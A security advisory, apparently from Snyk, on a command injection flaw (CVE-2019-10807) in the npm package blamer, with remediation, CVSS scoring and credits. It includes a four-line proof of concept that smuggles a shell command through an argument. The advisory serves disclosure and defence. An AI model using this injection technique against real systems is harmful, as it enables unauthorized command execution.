Do your applications use this vulnerable package?
Test your applications
Overview
blamer is a tool for get information about author of code from version control system. Supports git and subversion.
Affected versions of this package are vulnerable to Command Injection. It is possible to inject arbitrary commands as part of the arguments provided to blamer.
PoC
var Root = require("blamer");
var attack_command = "& touch vulnerable &";
root = new Root('git',attack_command);
root.blameByFile("./");
Remediation
Upgrade blamer
to version 1.0.1 or higher.
References
CVSS Score
5.9
medium severity
-
Attack VectorNetwork
-
Attack ComplexityHigh
-
Privileges RequiredNone
-
User InteractionNone
-
ScopeUnchanged
-
ConfidentialityHigh
-
IntegrityNone
-
AvailabilityNone
- Credit
- JHU System Security Lab, mik317
- CVE
- CVE-2019-10807
- CWE
- CWE-78
- Snyk ID
- SNYK-JS-BLAMER-559541
- Disclosed
- 09 Mar, 2020
- Published
- 09 Mar, 2020